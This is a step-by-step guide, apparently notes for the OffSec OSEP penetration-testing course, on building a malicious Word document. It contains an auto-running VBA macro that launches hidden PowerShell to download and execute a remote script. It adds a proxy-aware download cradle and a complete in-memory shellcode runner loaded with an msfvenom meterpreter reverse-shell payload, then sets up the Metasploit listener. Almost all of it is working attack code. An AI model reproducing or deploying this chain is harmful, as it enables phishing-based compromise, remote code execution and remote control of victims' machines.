Manual

Designed for 32 bit OffSec OSEP, which uses word 2016 hence the architecture.

1

Create the Word document

Create a new word document.

Go to View, Macros, add a new macro called "MyMacro" in only the current document.

Save as a .doc file.

Add the following to the Macro and change the IP and file name:

Sub MyMacro()
    Dim str As String
    Dim objShell As Object





    ' PowerShell command with escaped double quotes
    str = "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -Command " & Chr(34) & "IEX (New-Object System.Net.WebClient).DownloadString('http://10.0.0.88/run.ps1')" & Chr(34)

    ' Execute PowerShell command in hidden mode
    Set objShell = CreateObject("WScript.Shell")
    objShell.Run str, 0, False

End Sub

Sub Document_Open()
    MyMacro
End Sub

Sub AutoOpen()
    MyMacro
End Sub

The above forces using 32 bit PowerShell since I do not have Word 2016, just 'powershell' should work for OSEP.

2

Optional

Proxy aware and set the User Agent to something expected.

Proxy aware download cradle
New-PSDrive -Name HKU -PSProvider Registry -Root HKEY_USERS | Out-Null
$keys = Get-ChildItem 'HKU:\'
ForEach ($key in $keys) {if ($key.Name -like "*S-1-5-21-*") {$start =
$key.Name.substring(10);break}}
$proxyAddr=(Get-ItemProperty -Path
"HKU:$start\Software\Microsoft\Windows\CurrentVersion\Internet
Settings\").ProxyServer
[system.net.webrequest]::DefaultWebProxy = new-object
System.Net.WebProxy("http://$proxyAddr")
$wc = new-object system.net.WebClient
$wc.DownloadString("http://192.168.119.120/run2.ps1")
$wc.Headers.Add('User-Agent', "This is my agent, there is no one like it...")

3

Host PowerShell shell

Generate shell code to replace [Byte[]] $buf:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.0.88 LPORT=4444 -f ps1 --platform windows -a x86

Host the below file with the updated $buf at port 80 (unless you changed it). Included a lot of if statements with output to debug, those statements have been removed.

# Function to resolve function addresses dynamically
function LookupFunc {
    Param ($moduleName, $functionName)

    $assem = ([AppDomain]::CurrentDomain.GetAssemblies() |
        Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }
    ).GetType('Microsoft.Win32.UnsafeNativeMethods')

    $tmp = @()
    $assem.GetMethods() | ForEach-Object {
        if ($_.Name -eq "GetProcAddress") {
            $tmp += $_
        }
    }

    return $tmp[0].Invoke($null, @(($assem.GetMethod('GetModuleHandle')).Invoke($null, @($moduleName)), $functionName))
}

# Function to create a delegate type
function getDelegateType {
    Param (
        [Parameter(Position = 0, Mandatory = $True)] [Type[]] $func,
        [Parameter(Position = 1)] [Type] $delType = [Void]
    )

    $type = [AppDomain]::CurrentDomain.
        DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')),
            [System.Reflection.Emit.AssemblyBuilderAccess]::Run).
        DefineDynamicModule('InMemoryModule', $false).
        DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass',
            [System.MulticastDelegate])

    $type.
        DefineConstructor('RTSpecialName, HideBySig, Public',
            [System.Reflection.CallingConventions]::Standard, $func).
        SetImplementationFlags('Runtime, Managed')

    $type.
        DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $delType, $func).
        SetImplementationFlags('Runtime, Managed')

    return $type.CreateType()
}

# Resolve VirtualAlloc function address
$VirtualAlloc = LookupFunc kernel32.dll VirtualAlloc

# Allocate executable memory
$lpMem = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer(
    $VirtualAlloc, 
    (getDelegateType @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]))
).Invoke([IntPtr]::Zero, 0x1000, 0x3000, 0x40)


if ($lpMem -eq [IntPtr]::Zero) {
    exit
}

# Define shellcode (replace this with actual shellcode) msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.0.88 LPORT=4444 -f ps1 --platform windows -a x86
[Byte[]] $buf = 0xfc,0xe8,0x8f,0x0,0x0,0x0,0x60,0x31,0xd2,0x64,0x8b,0x52,0x30,0x8b,0x52,0xc,0x89,0xe5,0x8b,0x52,0x14,0xf,0xb7,0x4a,0x26,0x31,0xff,0x8b,0x72,0x28,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x2,0x2c,0x20,0xc1,0xcf,0xd,0x1,0xc7,0x49,0x75,0xef,0x52,0x8b,0x52,0x10,0x8b,0x42,0x3c,0x57,0x1,0xd0,0x8b,0x40,0x78,0x85,0xc0,0x74,0x4c,0x1,0xd0,0x8b,0x48,0x18,0x50,0x8b,0x58,0x20,0x1,0xd3,0x85,0xc9,0x74,0x3c,0x31,0xff,0x49,0x8b,0x34,0x8b,0x1,0xd6,0x31,0xc0,0xc1,0xcf,0xd,0xac,0x1,0xc7,0x38,0xe0,0x75,0xf4,0x3,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe0,0x58,0x8b,0x58,0x24,0x1,0xd3,0x66,0x8b,0xc,0x4b,0x8b,0x58,0x1c,0x1,0xd3,0x8b,0x4,0x8b,0x1,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x58,0x5f,0x5a,0x8b,0x12,0xe9,0x80,0xff,0xff,0xff,0x5d,0x68,0x33,0x32,0x0,0x0,0x68,0x77,0x73,0x32,0x5f,0x54,0x68,0x4c,0x77,0x26,0x7,0x89,0xe8,0xff,0xd0,0xb8,0x90,0x1,0x0,0x0,0x29,0xc4,0x54,0x50,0x68,0x29,0x80,0x6b,0x0,0xff,0xd5,0x6a,0xa,0x68,0xa,0x0,0x0,0x58,0x68,0x2,0x0,0x11,0x5c,0x89,0xe6,0x50,0x50,0x50,0x50,0x40,0x50,0x40,0x50,0x68,0xea,0xf,0xdf,0xe0,0xff,0xd5,0x97,0x6a,0x10,0x56,0x57,0x68,0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0xa,0xff,0x4e,0x8,0x75,0xec,0xe8,0x67,0x0,0x0,0x0,0x6a,0x0,0x6a,0x4,0x56,0x57,0x68,0x2,0xd9,0xc8,0x5f,0xff,0xd5,0x83,0xf8,0x0,0x7e,0x36,0x8b,0x36,0x6a,0x40,0x68,0x0,0x10,0x0,0x0,0x56,0x6a,0x0,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x6a,0x0,0x56,0x53,0x57,0x68,0x2,0xd9,0xc8,0x5f,0xff,0xd5,0x83,0xf8,0x0,0x7d,0x28,0x58,0x68,0x0,0x40,0x0,0x0,0x6a,0x0,0x50,0x68,0xb,0x2f,0xf,0x30,0xff,0xd5,0x57,0x68,0x75,0x6e,0x4d,0x61,0xff,0xd5,0x5e,0x5e,0xff,0xc,0x24,0xf,0x85,0x70,0xff,0xff,0xff,0xe9,0x9b,0xff,0xff,0xff,0x1,0xc3,0x29,0xc6,0x75,0xc1,0xc3,0xbb,0xf0,0xb5,0xa2,0x56,0x6a,0x0,0x53,0xff,0xd5

# Copy shellcode into allocated memory
[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $lpMem, $buf.Length)

# Resolve CreateThread function address
$CreateThread = LookupFunc kernel32.dll CreateThread

# Create a thread to execute shellcode
$hThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer(
    $CreateThread, 
    (getDelegateType @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]))
).Invoke([IntPtr]::Zero, 0, $lpMem, [IntPtr]::Zero, 0, [IntPtr]::Zero)



if ($hThread -eq [IntPtr]::Zero) {
    exit
}

# Resolve WaitForSingleObject function address

$WaitForSingleObject = LookupFunc kernel32.dll WaitForSingleObject

# Wait for the thread to finish execution
Write-Host "[*] Waiting for shellcode execution..."
[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer(
    $WaitForSingleObject,
    (getDelegateType @([IntPtr], [Int32]) ([Int]))
).Invoke($hThread, 0xFFFFFFFF)

You can also run this with your windows machine to verify the shell works.

4

Setup listener

msfconsole
use exploit/multi/handler
set LHOST 10.0.0.l
set LPORT 4444
set PAYLOAD windows/meterpreter/reverse_tcp
set ExitOnSession false
exploit -j
#interact with sessions -j and jobs

Last updated